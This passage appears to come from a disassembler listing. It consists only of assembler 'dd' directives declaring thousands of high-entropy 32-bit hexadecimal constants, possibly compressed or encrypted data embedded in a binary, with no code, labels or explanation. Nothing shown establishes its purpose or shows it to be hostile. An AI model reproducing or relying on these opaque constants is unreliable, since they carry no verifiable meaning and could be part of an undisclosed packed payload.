		dd 6F058CCh, 8B4FDECFh,	0BE301369h, 525081D3h, 0C470D044h
		dd 5D83CFBh, 59C2047Fh,	0B220C002h, 8754D840h, 60D144F0h
		dd 207395Ch, 7E314716h,	0E497FDE1h, 17833291h, 5EC87612h
		dd 9098DB33h, 7D2C0518h, 1DFEF3E1h, 40404392h, 8A7E25EBh
		dd 5002CFAh, 98CAC0FDh,	24F2D0C2h, 4028B568h, 0A35029B6h
		dd 0EE919305h, 0EC04FD7h, 9D05EDh, 824EBC2Eh, 16343BF2h
		dd 38A09894h, 50D78C12h, 0AFF4B889h, 884CB927h,	0D0B6E7Ch
		dd 0E40C6561h, 0CC506031h, 4A2998C9h, 178881C2h, 6DD4F082h
		dd 0EA045615h, 152804D0h, 48801F63h, 24610E29h,	805C026Bh
		dd 399C1B9Ah, 440132E9h, 0FDFB5D98h, 307937F4h,	0D1584C18h
		dd 0B4005D6h, 0F4731725h, 0D3AC4F70h, 0C07C54B6h, 3F8C31E8h
		dd 3C965794h, 872C572Eh, 360A9814h, 0C780A889h,	0DC87BCC4h
		dd 18DA16E8h, 9E9890F2h, 0C8009051h, 0B1D21622h, 0A07076FFh
		dd 16C60F60h, 72F1DA7Fh, 784080CCh, 9E808E93h, 0F20809B9h
		dd 0B46599EAh, 0DC6024E4h, 8900A166h, 20E22536h, 5FB6063h
		dd 0B0BE0C71h, 978B030h, 24E8240h, 0F3C27CA9h, 0CC7BA0Ch
		dd 4A603044h, 5002EBDDh, 0D437D989h, 6A5CD16Fh,	32465C2Ch
		dd 9B04AC67h, 0EC852C4Ch, 106054C4h, 983087DDh,	0D4CC981Bh
		dd 0ED8C124Ch, 0C8F48B19h, 0B473C02Dh, 6C004A36h, 30E284C2h
		dd 9E64C676h, 7FE688CCh, 17BC5A60h, 2275468Ch, 0D4C303E6h
		dd 0B9F3EDBCh, 9833A6A0h, 70003492h, 0E2D19DD0h, 93B401h
		dd 0DEC37D1Fh, 29BFAAF2h, 8ED4391Dh, 60686225h,	5F51DF5h
		dd 42C9EA3Dh, 16CB2E8h,	0A53CAF9Bh, 9830C8E9h, 26A7088h
		dd 0C549BB66h, 911D6106h, 80A187CFh, 70852CF0h,	22EE1210h
		dd 8C0000Eh, 61CF7B82h,	1284DA4Ch, 0CC2107A7h, 80201D6Dh
		dd 13195AF0h, 88C0CB94h, 582BC697h, 0DD71C360h,	0BC543837h
		dd 26D78910h, 0C010742Bh, 623DD919h, 0DBE08592h, 30CE4A76h
		dd 25C19288h, 402BAFF4h, 0B45436DCh, 0A000513Fh, 0EA709DA5h
		dd 9EAB5740h, 0B97A60D4h, 0D09C8CF1h, 170BCD08h, 0FEE4D0E7h
		dd 0A5427F4h, 64B472CCh, 3F80465Ch, 71818136h, 4BBE8ECAh
		dd 170F3468h, 300C3C84h, 28B2AD88h, 0B2E27017h,	0EC588414h
		dd 0B2E48CD2h, 64658400h, 0C89399A7h, 0CD9C1881h, 0F6856853h
		dd 0F243989Eh, 87E91E58h, 9BED8009h, 6FE001D3h,	8165E114h
		dd 4310E844h, 1B54007Fh, 0F8B6FC4Ah, 626B2CF2h,	0EDF90910h
		dd 5B913C9Fh, 8937E80h,	0DC2E30F7h, 91055DD2h, 0E00F9509h
		dd 3180A0A0h, 8A18F043h, 0D9DEFC84h, 0D939F8D4h, 1121D223h
		dd 7DD003Eh, 0FCBF9C3Ah, 194A0016h, 0D0F5543Bh,	83E2859Eh
		dd 24970490h, 34A9F244h, 0FCD9BB01h, 529F5764h,	8C207C14h
		dd 0A6886660h, 78209BC4h, 5500644Ah, 29D85B9Dh,	281C0A14h
		dd 4CCCF977h, 2FBCC0EBh, 53AD4C8Ch, 0B92A3C02h,	0A4A39435h
		dd 4D806415h, 502EA4E3h, 45BFEC3Ah, 0DDA24823h,	12BF30h
		dd 692A67BEh, 48F524DCh, 81352E3Ch, 7EBB639Ch, 642E7A26h
		dd 0A8BCAD28h, 4D020142h, 8206C8DBh, 71743480h,	465CC09Eh
		dd 0F0B41D97h, 768D8171h, 409A4070h, 0E648B329h, 43D1E88Ch
		dd 807F3A7Bh, 71B715E4h, 276016B2h, 80177A1Ah, 66802391h
		dd 0AEBD203h, 1003C65Bh, 911C9270h, 0F2C17FA6h,	58D17438h
		dd 300570ACh, 39CB2B63h, 4846CA0h, 0D2CFD742h, 0D2C0F166h
		dd 0EE029E80h, 25274F38h, 1164976Fh, 0A000931Eh, 2750A0B0h
		dd 5DF401CCh, 7105149h,	49CC3C69h, 52EB844h, 458C74FDh
		dd 0F2F02289h, 0C600F46Ah, 0CB87EA19h, 517A700h, 1A5B7775h
		dd 33082527h, 8119D420h, 2A03224Fh, 0DF292406h,	2C3F98DBh
		dd 0D9F41D17h, 0EA4E408Ch, 0FBCB335Bh, 0B0C26500h, 0D2DB6A1Eh
		dd 91B41281h, 9284C057h, 7F80935Dh, 16725F14h, 0B9180498h
		dd 15F9018Ch, 14334826h, 0A53028E2h, 8D0F48ADh,	42CB5E12h
		dd 6D0BA8A8h, 0B3C0ACCDh, 884CB1DCh, 25001EDEh,	0D14DCE96h
		dd 66D27B5h, 8FD6D261h,	9700C091h, 34CAD0E3h, 9050C88Ah
		dd 0C6D2175Ah, 0B2884073h, 0BC37068h, 0EC308559h, 415704BDh
		dd 0D015B972h, 68A1095Ch, 689AEC4Ah, 701691C1h,	0FBCAD859h
		dd 640ACBCh, 1D8EABh, 0B0751EE8h, 4437D949h, 27692240h
		dd 0A46460BFh, 6BD433Eh, 48B24682h, 85420019h, 5C956163h
		dd 570036ADh, 88ABEE72h, 95B5487Eh, 1308601Dh, 0AFEE617Fh
		dd 6DFFE580h, 1D42378h,	0D25F39EEh, 882218F1h, 3A070617h
		dd 0E1E2CE48h, 78E24FA5h, 0CDC1600h, 0A84504B8h, 0B29E7C00h
		dd 0D697D365h, 30ECF1FAh, 0ADEF1FA4h, 6FD9022Eh, 0E074519Ch
		dd 975FB508h, 628E1BA3h, 0D05E04B2h, 6B42DB8Fh,	674CE01Ch
		dd 0F4FD4CE5h, 3B8C2FBCh, 0C882263Fh, 2939B97Ch, 179A24D1h
		dd 0E1F8ED28h, 0F382EEC7h, 46A43CFBh, 0C154F2h,	9FD6F88Bh
		dd 0C8110886h, 7AAEF700h, 83751D48h, 64849DE4h,	19D0F0BDh
		dd 38F7F9C0h, 701720F5h, 0E08212A5h, 0E48CE4B8h, 6D023000h
		dd 78A94D96h, 0F84B3EABh, 98F58C00h, 23CBB9D4h,	0AE004CE8h
		dd 96297F3h, 0C277DB6Bh, 34B77040h, 47259CCCh, 885CE881h
		dd 1174EC6h, 121E06BCh,	33C98056h, 86CC5DF5h, 2E921C18h
		dd 0F88109BCh, 15F954ECh, 97F24CB2h, 83D4B831h,	506F27CCh
		dd 6DEF1060h, 73D481C0h, 1FD4182h, 524E3146h, 343544B1h
		dd 0BC130E20h, 98A626D9h, 1EB3BAE0h, 148BCF04h,	0A4C1588Ah
		dd 4F2BDF98h, 4418F4Ch,	69191DEDh, 0EDC48C4h, 82610CFCh
		dd 5653BC57h, 6783D078h, 0A83A71D2h, 0D6018023h, 2BFFD843h
		dd 3D032839h, 0FEB1B7B3h, 0C47A230h, 0F8C77128h, 0CBBB7A31h
		dd 1C2B575Ah, 0E4C0ACCDh, 73C5E996h, 74523E86h,	4FD0A5A8h
		dd 0EE843078h, 1385D11Ah, 0E21CF272h, 0B039301Ch, 0E98BC200h
		dd 9E5355CFh, 9A2F5AC1h, 5141C324h, 0CA3AE1A2h,	203F8C65h
		dd 0EBF9EF04h, 81967403h, 0B2F0A3Ch, 5B6FC20h, 3C40A829h
		dd 0C4870489h, 52536054h, 81B4021Eh, 215837C4h,	701E8876h
		dd 78D06D16h, 842F3A3Ch, 0BE848CE0h, 0DB4656B8h, 5EF67200h
		dd 6578F6Ah, 0A706E26h,	50B2D413h, 10018021h, 0ED02DB5Eh
		dd 0F98A4E00h, 0C29F16Ah, 0F0A21409h, 0C97A090Ch, 0B420973Bh
		dd 0C222EE0Ch, 0FE53EF13h, 0A1B1A0B6h, 0F33AD094h, 0B3E3BF13h
		dd 60B2D0E4h, 0C5752946h, 9A007156h, 0DE5C6324h, 7308D19h
		dd 906CDFAAh, 4408C975h, 86C128ACh, 0E1BF69ACh,	1011909Dh
		dd 311C1682h, 0F8829C60h, 49B6F909h, 2F081925h,	0E61D6896h
		dd 0BDCAE05Ch, 0BB6000E3h, 1403D392h, 0EC1387C9h, 14DB7E23h
		dd 7AB90DC0h, 3A13DA08h, 5C4F3E5Ah, 0AB054143h,	0D160A522h
		dd 0F43B748Eh, 0A05B138Bh, 0F20CB20Ch, 0D068302Dh, 1ECA1401h
		dd 39F0EF7Ch, 166CEAE8h, 2FA289CDh, 0DB239Ch, 0E53DC08Eh
		dd 95F0895Fh, 8AB40A00h, 0C8847460h, 11480079h,	37DD2A41h
		dd 9A9D2504h, 0D41CD4C4h, 8B18480Fh, 25CB8041h,	24DEEE68h
		dd 44B89427h, 0BC6160E7h, 0BD8B261Ch, 0D7C47090h, 4600BC7Ch
		dd 1F1E169Ch, 0A9EA9C0h, 4CA23AE9h, 7DED0BC4h, 0C444E4E9h
		dd 9B0072E5h, 0DA1C3029h, 3ED3E77h, 0F68D803Dh,	478190ACh
		dd 75D0228Ch, 0C175F030h
		dd 3098DB17h, 8114BD1h,	0DA675BC9h, 0EE00D4F4h,	0CB11A6h
		dd 0A3883801h, 9E160E18h, 688326Bh, 58B9D870h, 0B380B836h
		dd 0FF3D656Bh, 911AB500h, 0DA250A26h, 0A0D8006Ch, 418D06F4h
		dd 2850C873h, 0EE285EBCh, 289B98C6h, 0F1D6E8DBh, 102701A3h
		dd 560EF8F6h, 7F919288h, 1FC85CCBh, 2867E2C0h, 44904893h
		dd 570D1B0Ch, 0B618D421h, 8DB030E1h, 3950BF8h, 0C4127EF7h
		dd 0F000B8B7h, 8D44329Ah, 60A920B4h, 1BB85405h,	643B066Bh
		dd 42002223h, 76AAD36Fh, 210C982Fh, 92F11128h, 36E3C819h
		dd 0B405CB13h, 16C7B027h, 0D332EA42h, 17B45870h, 0B52BA400h
		dd 86548D9Ch, 60C74CC4h, 9F5E2FC1h, 0D00471E5h,	0EB0102F9h
		dd 6063B7BDh, 40365B50h, 4044C44Bh, 0D006C2C8h,	0E4856F48h
		dd 0D3A8601Ch, 0D6BA1C7Eh, 0ACE01F71h, 83FF01B8h, 0D2F33D4Ah
		dd 10BC246Ch, 0A86907DCh, 54E14050h, 550FDA1h, 0EE87A632h
		dd 0E44908EDh, 0F406A97h, 422C6840h, 44B26187h,	0D3FEF4h
		dd 5F05FBB3h, 0A49FC6DDh, 0DE00D870h, 7DA66F7h,	0B513BA5h
		dd 0D78A9EDFh, 8418A010h, 85C7E801h, 91C433B8h,	154899EBh
		dd 0D2090C36h, 0CC5823D6h, 4E690CE6h, 49208D19h, 234C3A3Fh
		dd 80FC1FDCh, 5E276843h, 4C28D3A0h, 20BEC456h, 203CE8A4h
		dd 5D8D0E57h, 0DC737A45h, 1100C5B4h, 2E71D903h,	502D3D72h
		dd 0F4B4E8AFh, 0B144B37h, 48BA0B9Ch, 19514CFBh,	0EC3038C0h
		dd 88015C37h, 646FCB06h, 0A0A2601Dh, 2691EC9Fh,	8F579Dh
		dd 66C88A58h, 0AF1708A1h, 0A41E350Fh, 7D148725h, 15780078h
		dd 54E1BA9Ah, 4A845700h, 0C17A422Eh, 0C94F0090h, 0B05003F4h
		dd 17BD0ADBh, 809391CCh, 0C76CD97h, 948C7E0Fh, 57DD8488h
		dd 0F1C8E024h, 9F38ECB0h, 0CA8A0760h, 0DF6A62Eh, 841724A8h
		dd 24C552A8h, 0EA6131C4h, 2F187063h, 60D6409Eh,	88E9D613h
		dd 0DB00169Bh, 6B04503Ch, 1BAE582h, 0E762736Ch,	49D60CA3h
		dd 0B46E6BB0h, 4043890Eh, 29BD12A0h, 0CB080C5Dh, 5749437h
		dd 0B0F7A60Fh, 0DE7FC898h, 17C56A2Fh, 9FDB9174h, 0D303E524h
		dd 80C44582h, 270CFC79h, 4C600B5Eh, 74949077h, 528B998Bh
		dd 0A520BBE4h, 8091B895h, 0A7D74180h, 3C061EB2h, 7EF9A06Bh
		dd 0FACF0021h, 179FE29Ch, 3615982Fh, 7AA83BC6h,	0DCB1B974h
		dd 144B72Dh, 301CDC6Eh,	6900348Eh, 0B800A88h, 0F5FBDD9h
		dd 289C8414h, 0B98A2FD4h, 3740066h, 2F890680h, 8097ECB7h
		dd 18805B11h, 8CD34CDEh, 5A427B02h, 64835D2Dh, 0CC691E48h
		dd 0A2F30001h, 8F86AE9Ch, 0F8286B18h, 60F09778h, 0A366916Eh
		dd 41FC91F2h, 428D1B00h, 0FD30173Eh, 9B2B16F7h,	9A08D0B8h
		dd 6F000A8Fh, 8D0C2A6h,	7A2FF54Fh, 621A1DF0h, 4644DF33h
		dd 0E1137E96h, 2826071Eh, 0F068D680h, 383C8D03h, 50005C02h
		dd 35D28A7Ah, 0A602EE08h, 29917C68h, 1A47A90h, 0F13145BAh
		dd 0D38101CAh, 7C036B80h, 8EE8109Dh, 8B874035h,	0E2EE0425h
		dd 11049DB0h, 0F4F68125h, 29D80673h, 80F930B9h,	0E7CBDE58h
		dd 8F8C7F4Ch, 82AAE004h, 0F74238h, 843DDFB7h, 0DB616D31h
		dd 65E74603h, 0C2D537BBh, 5C0955E5h, 2611301Dh,	0FDED1183h
		dd 93C610C0h, 0C4F1FE25h, 73EC9974h, 0A3A760E4h, 0BCAF0EF3h
		dd 2C80182Bh, 0E8EBBE10h, 0F0041CB9h, 233B6A55h, 10A30997h
		dd 64F8D089h, 8C8B4719h, 0C215F21h, 0FE52C0E8h,	0CAF9005Eh
		dd 0FC68B36Ah, 0D09E05B5h, 80465Eh, 0AEBEC748h,	5C7061A6h
		dd 309414E2h, 3460D62Dh, 0DB2519DAh, 0C14C9EEh,	96449C4h
		dd 0ED8BE4ACh, 46749054h, 0E729005Bh, 67D3D137h, 0C2C44B1Bh
		dd 2091F98h, 0ECE170BCh, 5520C55Ch, 0B290F496h,	805C3142h
		dd 5D30DEADh, 0ECDC0096h, 751A3547h, 3E0981A7h,	7B526073h
		dd 90E5AD54h, 655BE4h, 128C9CF8h, 0A226CAE5h, 1C198ED3h
		dd 0D08857C1h, 5978CC1h, 9A5A1CA3h, 0CF7B815Ch,	4E6F8BD6h
		dd 0F2325234h, 55F6C464h, 0ACECB824h, 9D008C21h, 0E92BBFA7h
		dd 3021584h, 996BE383h,	29009621h, 0C39A60F6h, 0FB9A1CEh
		dd 0A502C97h, 0D1540C40h, 230B2176h, 0D106F2F6h, 4431C424h
		dd 98E4EE8Ch, 545712CBh, 87C89E09h, 8F7057B6h, 0D020E679h
		dd 6110C059h, 0E10D2596h, 8D107278h, 5B5B5DB4h,	82F22444h
		dd 408D60BCh, 0B8BC3999h, 0A8F60C8Ch, 0ADACE741h, 0C7519500h
		dd 5CB33D9h, 0FCB2305Eh, 0F3314731h, 0E9DF953Ch, 1F786881h
		dd 7C40BC69h, 9D011E46h, 65A37472h, 0BD18605Eh,	4413740h
		dd 28628304h, 0F2E4E384h, 0D5043024h, 0A14DBC00h, 0F215796Eh
		dd 8C96884Fh, 3174331Eh, 5057B800h, 9D2C6FCCh, 13B91093h
		dd 0B2BC23EDh, 0EDB3302Eh, 0DDE67302h, 5E082A7Dh, 37DE4090h
		dd 68C12798h, 0AD68D166h, 7B06B3Ah, 3F66E6Ah, 0DD395780h
		dd 68044865h, 17182824h, 0FB58A483h, 71909186h,	0FAEE182Eh
		dd 26D5ECD7h, 968E225h,	44F8CD8Eh, 72619804h, 20D01FE1h
		dd 36DA598Dh, 0E0B49076h, 0C5880D05h, 0E4478F2Bh, 0CE7E4C79h
		dd 0AC82B8AAh, 0D5080520h, 81ADD23Dh, 7EC7DBF5h, 8A3AA46Eh
		dd 0ECCB0380h, 0A1BB63B0h, 71F07209h, 0D3C0D344h, 0A7245598h
		dd 952B002h, 4184F489h,	0DF24C14h, 386E3EC0h, 0D6BA00Bh
		dd 0C3F22C20h, 0A803505Fh, 1201B397h, 0F0E6A35Dh, 73816F3Ch
		dd 7014BBB4h, 5572841Ch, 6F9D2605h, 40C02748h, 0BDED0CD3h
		dd 40029829h, 3C053039h, 3D9114B4h, 2F7581BBh, 0BC686BBCh
		dd 4A705471h, 0BA001F98h, 0E4A14B4Dh, 5EE9399Eh, 9C788F7Ch
		dd 619F00E3h, 0D4EB22Eh, 1125DD19h, 7D65998h, 3949D2DFh
		dd 0C05C6C42h, 814172Dh, 0C3607F10h, 24D4C1DEh,	108A4Ch
		dd 33D1242Bh, 9A17D6BAh, 8BEC8Bh, 0A0CF5988h, 0A9F0D10Dh
		dd 0AA133E01h, 0F7825084h, 4BB0BC1Dh, 39A0C0B7h, 313810A5h
		dd 75205E6h, 0CCC138B1h, 2D2AEB3Fh, 0E2A4328Ch,	7A933092h
		dd 7F76AA02h, 7454AE14h, 8F518800h, 70712000h, 274D27B7h
		dd 84B5FDEAh, 0B4936881h, 85D8DAC5h, 1A4B6CDh, 1E6EC38Ch
		dd 89A42C05h, 47A45EF5h, 0D282486Bh, 4E2934AEh,	5EB4B450h
		dd 0C3009546h, 39CB0BE0h, 0C64FD610h, 2CB580C0h, 0D11099EDh
		dd 1CD11828h, 0ED1532E7h, 9BFEA448h, 1FCF5B00h,	0CBBBBA3Eh
		dd 1042065Dh, 70E66AEEh, 42A51A2Fh, 0E4DC65B0h,	43A8602Fh
		dd 8420E9A1h, 87CC942Ch, 0C07A76DDh, 5DF0C928h,	0BD8EF802h
		dd 70E57D6Dh, 4B9B001Ch, 2C6BB409h, 0D5178A26h,	44A303D7h
		dd 67305CB2h, 4CBB3018h, 90EEB31Ch, 0BFDC0597h,	204F48BDh
		dd 0F1622440h, 16883600h, 61A486FFh, 0E4AE24D4h, 0E098434h
		dd 80B97Dh, 0DA4C1090h,	958143C2h, 1FE46065h, 0EC306861h
		dd 3C0061F2h, 41F68D56h, 5DB11E6Dh, 2F4ABC1Bh, 11F23E4h
		dd 615FFDD0h, 0A0E7EC3Fh, 7B621525h, 53C970F8h,	0F0BBA104h
		dd 0A8BC5D38h, 0C4E2AE89h, 22E4C0E5h, 0F70D3860h, 67E7D900h
		dd 763C8216h, 1EEC9026h, 603BE17Ch, 960189Ch, 754AD0h
		dd 1AC848CAh, 9A9E1489h, 94851F5Eh, 0DDB2CCE3h,	0FF6AD933h
		dd 4080ED0h, 7359B82Ch,	0D00ABAD4h, 465C705Dh, 6A301D3Eh
		dd 9D94780h, 164D259Bh,	0B2452C69h, 3097F2D4h, 2920BE09h
		dd 0E2703F60h, 0C1C4885Fh, 9FB24840h, 38023820h, 0CC2C4DA9h
		dd 0B509204Eh, 0AF10D174h, 8F00A835h, 0F18ED3E9h, 967C9430h
		dd 0E8CCA0CEh, 750C1E12h, 0C989C4DBh, 59D5E486h, 0FA418D0Bh
		dd 5E4810B6h, 58C99782h
		dd 0F8B86849h, 260B8C28h, 806368F3h, 0F205B32Ch, 82060953h
		dd 8CC029B4h, 804B76DBh, 13EECD0h, 0FCE516D3h, 0EF90301Fh
		dd 2F25A388h, 0D930D91Eh, 0EE281859h, 0E9960E7Ch, 462CCA5h
		dd 9C7E2BF6h, 0C258B280h, 3CA34A19h, 110099DBh,	6ADE373Bh
		dd 48759717h, 0DDFCC200h, 0C4514F71h, 3F0600E6h, 22D487DFh
		dd 0E400F1F8h, 5FDDF0CBh, 3ADC4B32h, 2F0018E5h,	7A4D5E51h
		dd 11C00859h, 0BC886E1Ch, 2B9106BFh, 8398B65h, 60216D6Eh
		dd 4FF48894h, 0A4E700A2h, 0E4FA38ADh, 6E00BF2Ah, 3FFE1899h
		dd 4E3C57h, 223D2870h, 0EAB0789Dh, 0A4604C0Ch, 13C4846h
		dd 564E845Bh, 8439C463h, 4027FA99h, 3D8ACA00h, 460602Eh
		dd 0E0724E31h, 0B351C06Bh, 0DE9A27D8h, 0F05E4001h, 7BD954A3h
		dd 9D64D091h, 0BEB688C1h, 0F0B28C1h, 0FD889271h, 0A9A04D80h
		dd 18DBB834h, 204E245Fh, 0D703D676h, 5607BD96h,	0C20AE8A7h
		dd 983A006Bh, 2760FE6Ah, 7B18511Dh, 0FA9C9E3h, 36CECCEh
		dd 476BA372h, 830BB4Ah,	0A60A2122h, 964D00C8h, 20D3FB0Dh
		dd 71C13F5Eh, 922E4552h, 4FC40FF5h, 9E7D1FA9h, 14A0C24h
		dd 0C5142F41h, 998C20BFh, 0BC186580h, 72216EECh, 0B408C0B3h
		dd 0EC7E95C8h, 0F6ADE11Dh, 715A0C7Ch, 75FE6179h, 1820EDCBh
		dd 57CE00C6h, 2220EEA6h, 0CA3FFF09h, 97918CDFh,	3A71316Ah
		dd 0FE8106AFh, 0D6CB5950h, 8E089848h, 0E062BA21h, 12CFF849h
		dd 3A8187C3h, 4E38103Ch, 0DA5759C1h, 0E18449F7h, 8021BF3Eh
		dd 798EEB66h, 48140B72h, 710084B8h, 0B32BB75Bh,	0C828B988h
		dd 6300185Eh, 84DA0DF4h, 7EAC247Dh, 66EF0A43h, 9DAC1D88h
		dd 0C4C80978h, 4C2E5810h, 0DC5F2401h, 0C6088540h, 0C0087CCBh
		dd 24648321h, 0FC01F6A8h, 0DDE784D9h, 0E18F09FBh, 0FF010B39h
		dd 40F09C83h, 84EFDAACh, 0F150707Ah, 48C8CA8h, 0FE4106AAh
		dd 238F6258h, 408065BBh, 0BF00D082h, 0DCCDC0A7h, 903BE077h
		dd 352924F8h, 63467EF0h, 3928971Ch, 610E0680h, 4ABC4D89h
		dd 3C29CDF6h, 0A3015495h, 70FE6206h, 961CFC4Eh,	24D20266h
		dd 90E09B9Eh, 6001DE54h, 49DF2C85h, 28BC362Fh, 0CA8D8281h
		dd 0F1DCF353h, 0E4882407h, 2CB58914h, 4C4000B0h, 0DC06FC94h
		dd 38371E10h, 0F11A48BDh, 52002C10h, 107004B0h,	14983825h
		dd 9491F9F4h, 996D920Ch, 777E00E5h, 734F3E57h, 5D5810ADh
		dd 0C7B41424h, 2460C1F8h, 31D2DCA3h, 78871053h,	0D3CF1D24h
		dd 0DE0F02A7h, 0C0A45C77h, 0DA50C7E2h, 87383EF4h, 1FD351Fh
		dd 0DC956CE1h, 0C44F2F9h, 4EE1C167h, 0D6C486C3h, 0C9C28061h
		dd 0C66200C7h, 0FE1CCC13h, 0B72ADE2h, 7D10D400h, 9D54CF4Ch
		dd 0CBF20D5Fh, 0F0703F24h, 0D4A5DF2Fh, 5B6075E4h, 0F430BF7Eh
		dd 0EE5E48DCh, 0B81F6C64h, 770CD950h, 11F438BAh, 230A490h
		dd 0FE6506AEh, 8B192778h, 0C0799711h, 300C08AFh, 19577D5Bh
		dd 40FC13E4h, 4A00070h,	26788DE1h, 68297277h, 5779C87Dh
		dd 0DC0CD018h, 0B810BC8Fh, 18CF1486h, 0A6808C23h, 63EBC0BEh
		dd 69691CB0h, 288B87C8h, 1050309Ch, 22BFCA2h, 0B12A1895h
		dd 0AA244021h, 0F08F0AD8h, 7680F8D4h, 7A8E46h, 0B0B6EC1Eh
		dd 7C6FC93h, 440FF672h,	2DEF8CFBh, 71E078DFh, 0E491D0ACh
		dd 0E8C7CE8h, 0A3903041h, 2504CE00h, 0C20E1311h, 0F3F193AEh
		dd 820B9C48h, 0B3FFC4AFh, 0B7DBECA0h, 0AD05C6F3h, 898E08B6h
		dd 7E9F9404h, 0AFB5090h, 0F4C7814Bh, 3026B88Fh,	467660F8h
		dd 1EBA007Ch, 0F28F760Ah, 979218EDh, 0CF3E2178h, 0D6847C01h
		dd 60D3DA07h, 54C889Eh,	7CA4E29h, 30F3F1F8h, 5773C12Ch
		dd 661184B1h, 6FC1CF8Eh, 0C68CB72h, 0A735883Bh,	0F03FC802h
		dd 8A5EDD2Ah, 282ADAF4h, 400182F6h, 7B4B7432h, 0EAC4EF73h
		dd 3A1A17CBh, 6AA42743h, 0C0B383A4h, 0A8137057h, 6040A792h
		dd 0B7F6B1DBh, 50ED5DF8h, 0BD06BC42h, 3171D7B0h, 436AF45h
		dd 0F5AC1AF0h, 0A989DA00h, 508E5CDDh, 2A209060h, 0C158B538h
		dd 0F8A63DD9h, 0E2208506h, 489180EBh, 3C467454h, 754F04B8h
		dd 0D244098Ah, 5464D9B0h, 21ED1101h, 381077DDh,	286B0020h
		dd 5888F9C8h, 61C83C07h, 0B18869C0h, 6E18E9BEh,	0F937288h
		dd 0ED453A88h, 6F23C4E0h, 0D57DD611h, 0A2568A1Ch, 9BA8643Bh
		dd 2EFE10D0h, 0BF90C165h, 0CDB21357h, 91A84082h, 818B1C7h
		dd 0EB1080CEh, 0C248A5D4h, 6D184E27h, 4A630FD9h, 89DE9C69h
		dd 0B9804FF0h, 0E4AC3978h, 4E241D16h, 2710B43Eh, 0BBCC04Eh
		dd 1F557061h, 121506B0h, 5E60676Ch, 0BB7295C1h,	88260C6Bh
		dd 0C802A16Fh, 0B7600C13h, 0DDF0A043h, 0A0252CA7h, 6DE16CCh
		dd 892872F9h, 521CB826h, 57AEE8F2h, 9A81914h, 17CDE738h
		dd 8788913Ch, 4411FCD5h, 3022FADCh, 406B6C50h, 0A72EB881h
		dd 121F2079h, 5E1A5B82h, 0E980A033h, 0EDC01Dh, 3F14AD94h
		dd 0F41F95A0h, 4DC0C94h, 81440392h, 2178B1F0h, 3DFC9E4h
		dd 9840A5FEh, 65AEE2BCh, 7E76004Bh, 0F5F0C52Eh,	0A4B088AFh
		dd 942CBD1Dh, 0CCA2079h, 31597CE1h, 0B5007069h,	58E67B85h
		dd 4A2BB0C3h, 0FC6E75h,	639087EAh, 49DD7BDh, 0E485A56h
		dd 0CABC9009h, 88B83069h, 23081548h, 0C8B30062h, 68EB726Bh
		dd 310030AEh, 621FC9CBh, 2432D7D3h, 0C4502F01h,	886D6065h
		dd 89BF25BDh, 7600F496h, 0E9378897h, 93C96D5h, 6E14616Fh
		dd 5F8A5403h, 88D08EEDh, 7023C74Ch, 0D42DD1DEh,	10807CB9h
		dd 44C463C6h, 1F4D2950h, 14C42854h, 5439BFCFh, 7C806F88h
		dd 6BE5889Dh, 177FBCh, 0CAE0BD0Fh, 6E7063E4h, 0A4131028h
		dd 81E5A121h, 726AC8B0h, 892718D3h, 0FBC9FC34h,	8DF47E03h
		dd 0E4EDDC8Fh, 0F4825C4Bh, 0A06032C8h, 0E020A3FEh, 97663929h
		dd 21F26045h, 1622C00h,	0A00249B6h, 267276BFh, 6C9647h
		dd 0B171FE2Ah, 4CB87F57h, 6204A48Ch, 30DCA124h,	80DE34B2h
		dd 1EEF247Ah, 9A026716h, 151071ECh, 1DF04052h, 0F9DC1313h
		dd 39DC425Ah, 0C821F6D8h, 12F7712Ah, 0C842C328h, 40A4A774h
		dd 0A0246D0Fh, 7C8BB2DCh, 2465800Fh, 0C097DFFCh, 578BC6E8h
		dd 9D00C452h, 0E28E5161h, 0B238B266h, 735C39D4h, 0EB4D5D9Eh
		dd 886A01ECh, 1871BEB0h, 77B4A822h, 54880290h, 17C6AA3Eh
		dd 454B50C0h, 88943658h, 6E1CF9Eh, 1848FE67h, 6F918889h
		dd 0A20094E0h, 9FD99A71h, 0BAD254EFh, 38A110B8h, 83EC0610h
		dd 24182030h, 5EC01D68h, 5F013B46h, 3EDB28DCh, 1026D988h
		dd 7CFD2569h, 0B27579h,	0A044CB9h, 270317E7h, 0FCD07A14h
		dd 97F60024h, 770AAF23h, 19040039h, 0B72CC194h,	0ED019637h
		dd 6B2EF4B4h, 0F024956Eh, 89B22760h, 0C63F5C1Fh, 5C1B1Dh
		dd 1FF06131h, 0DC0A56C6h, 8C6F505Fh, 4D715E04h,	8C7824C8h
		dd 0C2886804h, 0D08E61BFh, 8896750Eh, 10786C0h,	0C2037A46h
		dd 0D81384E7h, 4B389ECh, 7F54EC64h, 91EC9C72h, 443B0030h
		dd 3624B96Fh, 19500C1h,	0FEDC5C9h, 2A067069h, 7F9715B3h
		dd 43F70039h, 0B838830Ch, 74B04888h, 0F0C820h, 7A101169h
		dd 0E3F8B439h, 2844948h, 7229B60Dh, 0E250455Eh,	10184B63h
		dd 1EF90134h, 0A7DCBE30h, 2448DA6Ch, 0AC917FFCh, 6F60FC7Bh
		dd 1300DAE3h, 0FD863F45h, 0B1EFC44Eh, 5321176Ch, 8AF80820h
		dd 82DBDF8Eh, 5A26A8B2h, 3CA15274h, 0AE246702h,	0E84708DCh
		dd 241F8E00h, 9EB1CE7h,	0F1E5DDC8h, 90ED4427h, 44133C1h
		dd 0BD027FFAh, 0EFDEB429h
		dd 0B030E848h, 8FB1253Ch, 0CB1D1485h, 0C021C860h, 2F1C54B9h
		dd 844E3094h, 0C8A1220Bh, 60BCE83Ch, 72DA008Ch,	1CC210BDh
		dd 6801BF22h, 0F073DB0Eh, 58AE3B5Bh, 8000DC50h,	0F0B69D23h
		dd 5CDC37C7h, 0B3827CE3h, 84A57608h, 0E34A24Fh,	40A56554h
		dd 62963670h, 0F4FC30B9h, 9DD11DE9h, 114D2209h,	6EE0E1A9h
		dd 526A2020h, 6EB27C5Dh, 0DB3D30h, 82A78D0Eh, 7B3E4A05h
		dd 2DC3D550h, 8104DF58h, 2B7D2872h, 9BD88105h, 0CBE05483h
		dd 0CF0EC894h, 55CC9CA1h, 636F8A7h, 61DB9409h, 3D48488Bh
		dd 30342086h, 0FC876409h, 175429D6h, 81579154h,	924A5A58h
		dd 0D820F825h, 6BDC400Ch, 3F2181Dh, 0FCC7D8B0h,	0D4A9C025h
		dd 3136E156h, 0DBF3C100h, 28FF1EEEh, 0CDE3019Eh, 0CBECBDD7h
		dd 66498284h, 0C334C392h, 0F020C5A0h, 11349FDh,	8BDF22E6h
